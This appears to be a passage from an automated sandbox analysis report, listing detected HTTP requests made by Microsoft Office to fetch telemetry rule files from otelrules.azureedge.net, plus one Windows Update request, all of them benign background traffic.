Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=27rhDXmSeoS1m3O&MD=LTrsryzY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
